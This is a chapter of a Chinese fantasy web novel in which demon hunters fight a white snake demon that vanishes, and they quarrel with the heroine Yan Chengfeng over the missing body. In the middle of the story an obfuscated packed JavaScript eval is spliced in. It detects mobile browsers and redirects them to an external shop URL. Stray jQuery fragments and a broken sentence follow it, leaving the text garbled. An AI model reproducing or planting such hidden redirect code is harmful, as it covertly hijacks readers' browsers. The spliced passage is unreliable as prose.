天边出现的不是月亮,而是段长镰的镰刀。

    镰刀环绕蛇身,如月一般,在天边翻转,一轮弦月在白蛇身上跳动。

    “降灵:麦浪舞。”

    地上凭空生长出一片高高的麦子,麦秆缠绕住蛇身,令它动作延缓。

    段长镰一刀斩下蛇首,被麦秆缠绕的蛇身炸裂成粉碎。

    连捕头下意识用手遮挡住脸,担心血肉飞溅过来。这样的场面并未出现,大蛇消失了。

    在麦秆和镰刀的切割下,本该粉身碎骨的大蛇,只是灵体稍稍受损,很快恢复如初。

    段长镰神色凝重,握住镰刀悬在半空,寻找白蛇七寸所在。

    “我来试试!”赵伞挥出手中的牡丹,牡丹向上蔓延,长成硕大一朵,绽放到最后,变作一朵牡丹伞。

    “降灵:入伞!”

    花伞下,花瓣纷飞,纷纷降落的花瓣形成一道道固定结界的枷锁,将白蛇牢牢困住。

    白蛇在里面左右冲撞,始终无法挣脱。

    “轮到我了!”

    白藏高呼一声,提刀进入牡丹伞结界内,鸾刀上的银铃叮当作响,听到铃声,白蛇痛苦的扭曲身体,在结界里横冲直撞。

    “降灵:千劫斩!”

    白藏于蛇背降落,鸾刀深深扎进蛇身,他狠狠刺进血肉,双手握住刀柄,整个人拖着刀往下滑,给大蛇开了背。

    大蛇凄厉嘶鸣不止,重重坠落在地,掀起大范围的尘土。

    捕快们早被眼前血腥的场面吓得瑟瑟发抖,心提到了嗓子眼。一会儿担心他们方才对段长镰等人不够恭敬,怕被秋后算账。一会儿担心大蛇被他们杀的狗急跳墙,要拉上他们这群凡人一起死。

    幸好,大蛇还是被杀了。

    狰狞的蛇首露出长长的蛇信,让他们眼前一黑又一黑。

    白蛇伏诛,白藏三人各自收了神通,准备开始分蛇。

    不曾想,术法堪将收回,被斩杀瘫在地上的大蛇竟消失不见。

    这一下,打的所有人措手不及。

    一红衣男子率先对晏乘风发难,“是不是你?!你趁乱收走我们好不容易杀死的妖怪!”

    什么都没干,一下背上好大一口黑锅的晏乘风:?

    “你哪只眼睛看到我收走妖怪?讲点道理好不好?”

    另一人道:“除了你还有谁?在场十三个捉妖师,只有你不和我们一道,还有谁能搞小动作?你总不会要把事情推到凡人身上吧!”

    晏乘风摊手,“我坐这儿,一动没动,能搞什么小动作?再说,众目睽睽,你们十二个人围着一条蛇,还能被我钻空子?退一万步讲,我要是有在你们十二个人眼皮子底下把妖怪尸身偷走的本事,你们还敢对我这么嚣张?”

    她嗤笑道,“与其怀疑我,不如怀疑是不是你们出了内鬼。毕竟我离的远,你们十二个人,都贴在那条蛇身边呢。”

    “事实就在眼前,你还敢挑拨离间,简直不知死活!”又一人道。

    言毕,此人甩出一条银锁链,毫不留情朝晏乘风打去。

    晏乘风本想闪躲,可身边坐着若干捕快。她倒是能逃,但这群捕快必要被银锁链抽到。能抽妖怪的锁链抽到凡人身上,杀伤力可想而知。

    此人动手之前,全然不顾他人死活,委实可恶。

    她反手抽刀,缠住银锁链,和那人展开拉锯。

    “好没道理,”晏乘风眸色冰冷,“和你们好好说话不听,一言不合喊打喊杀,不过花牌捉妖师,好大威风啊。”

    不过花牌捉妖师?

    呵,你又是个什么东西?

    用锁链的那人扫了一眼晏乘风的荡妖牌,轻视道,“你一个白牌捉妖师,纵使我们杀了你,又能如何?”

    “真厉害啊,照你的意思,比你弱的被你杀了只能算倒霉?我从来只知妖怪讲究个弱肉强食,想不到你做人,境界高低分的比妖怪还清楚。”晏乘风冷嘲热讽。

    言毕,催动斩骨刀,右手猛地一劈,缠在刀上的锁链被整条甩了回去,狠狠抽在玩锁链那人的脸上。

    “啊!!!”

    他惨叫一声,捂住脸蜷缩在地上打滚。

    这一下震慑住所有人。

    本以为她只是个凑数的,刚才打妖怪的时候,一点力没出,和连捕头他们一起躲的远远的,生怕被搅和到战局里。不成想,是个扮猪吃老虎的高人。

    段长镰,赵伞,白藏三人看她的眼神充满警惕。

    他们也知晓,拼死拼活打半天妖怪,结果尸体消失不见,大家自然生气。她躲在一边,实力不济,被拿来当发泄的出气筒,也不奇怪。

    只是拌几句嘴,最多受点皮外伤,他们自是不会阻拦。

    若说方才众人只当她不可能偷走妖怪尸身,还以为自己胡搅蛮缠。在她露这么一手后,倒觉得银锁链的猜测有几分可信。

    无他,这年头,什么样的捉妖师都有!

    谁说白牌就弱小?

    要知道,被洗过多次的白牌,有时不比红牌差。

    被洗牌的捉妖师,比寻常捉妖师更可怕。

    一次次洗牌重来的捉妖师,哪个不是尸山血海中杀出来的?谁知道背地里做的什么见不得人的勾当?这些人手上,见不得光的玩意儿可不少。

    他们可以确定,他们刚才分明杀死了白蛇。现下白蛇尸身消失,一点痕迹全无。

    要说没有高人黄雀在后,谁会信?

    段长镰斟酌片刻,缓缓道,“道友,见着有份,既然道友在场,我们愿意与道友一起分妖身。还是将妖身拿出来,免得伤了和气。”

    他说的好听,却也知道,蛇身恐怕是拿不回来了。没有哪个捉妖师愿意把收进口袋里的宝物再拿出来共享。

    她既能神不知鬼不觉的偷走妖身,自然有不被探查到的法子。

    果不其然,段长镰听见晏乘风说,“我还要说几遍没偷?蛇跑了也能怪到我头上?”

    他警告道,“道友,我们毕竟有十二个人,哪怕你是有红牌实力的白牌,也不能从我们十二人手中全身而退。”

    他们也不是吃素的!

    捉妖师当这么久,还怕被人打劫?哼,打劫他们,就得做好被黑吃黑的准备!

    晏乘风从腰间取下她只有两滴血的荡妖牌,在十二人面前晃了晃。银锁链被她抽过,眼神怨毒的看着她。

    十二人手中握紧武器,做足战斗姿态。

    祭出白牌,这是要开始用妖血降灵,进行最后一搏啊。

    看他们一脸紧张,晏乘风只觉有趣

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671907|205748||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,“怎么总怀疑是我偷走妖怪?就没想过是你们根本没把妖怪杀死?”

    “不可能!”白藏亲手开的背,确认蛇妖死的透透的,死的不能再死了。

    晏乘风示意他们,“打开你们的荡妖牌,进悬镜看看。”

    只消看一眼,十二人的脸色齐齐一变,难看到极点。

    悬镜里的悬赏还在。

    “妖怪姓名:白娘子

    等级:四级

    赏银:万两

    任务领取:花牌”

    妖怪根本没死!

    到底是怎么回事?!

    见状,他们实在担心晏乘风在背地里搞事,赵伞主动招揽她,“既然妖怪没死,道友要不要和我们一起继续寻妖?我保证,赏银分成十三份,每个人都有。”

    晏乘风伸出一根手指,左右晃了晃,摇头道,“不,不,不,你们的本事嘛,我大抵知道了。”

    她大刺刺的嘲讽,“刚才你们已然是手段尽出,却还是杀不死妖怪。既然如此,我何必要和你们组队?明明我能一个人杀死妖怪,独占赏银,何苦和你们一群废物分?”

    “你!”他们气急败坏。

    晏乘风嚣张一笑,“我这人,习惯独行。这么高的赏钱,不喜欢和别人一起分。你们已经出过手了,接下来,是不是可以离开,换我出手?”

    “还说不是来捡漏的!我们把妖怪打的半死,你打算捅最后一刀,还要抛开我们?痴心妄想!我告诉你,这条蛇是我们的!想从我们手上抢妖怪,做梦!”一人怒目而视。

    “各凭本事吧。”晏乘风轻飘飘翻了个白眼,一副吊儿郎当的模样,看的人没来由生气。

    还有人想说什么,被段长镰拦下。

    “好了,她说的对,捉妖,不过是各凭本事罢了。我们既已出过手,一无所获,她若能独自杀妖,独占妖物,无可厚非。”

    “可是……”还有人想说什么。

    段长镰粗暴打断,“够了!莫非我们也要学那起子不讲道义的捉妖师,横行霸道,仗势欺人?”

    “你看看她那副嚣张的嘴脸,小人得志的模样真想揍她一顿。”

    段长镰道,“她怎么做人,是她的事。我们怎么做事,是我们的事。就算她是小人,如今,她确实占理,且随她去吧。”

    “我们回村,明日再来。”白藏道。

    赵伞冷眼补充,“若真被她杀死妖怪,一人独占,也是她的本事。”

    “什么叫她的本事?分明是我们的本事,她运气好,捡漏罢了。”同伴很是不满。

    赵伞笑中带了些许咬牙切齿,“运气也是实力的一部分。和妖怪打交道这么久,难道你们还不信命吗?要是她能收走,就是老天爷该给她的,羡慕不来。和好运之人作对,下场总是不甚美妙。”

    扔一张符箓到白蛇消失之处,惹得一群捉妖师气愤不已。

    狗贼!竟用寻踪符寻找重伤的妖怪!

    晏乘风压根儿没搭理,连个眼神都没分给他们。

    有意思。

    竟然毫无痕迹。

    连她亲手画的寻踪符,都探查不到妖怪的痕迹,事情变得越发有趣了。

    这条蛇,或许根本杀不死。

    她碾碎符箓,心中已有计较。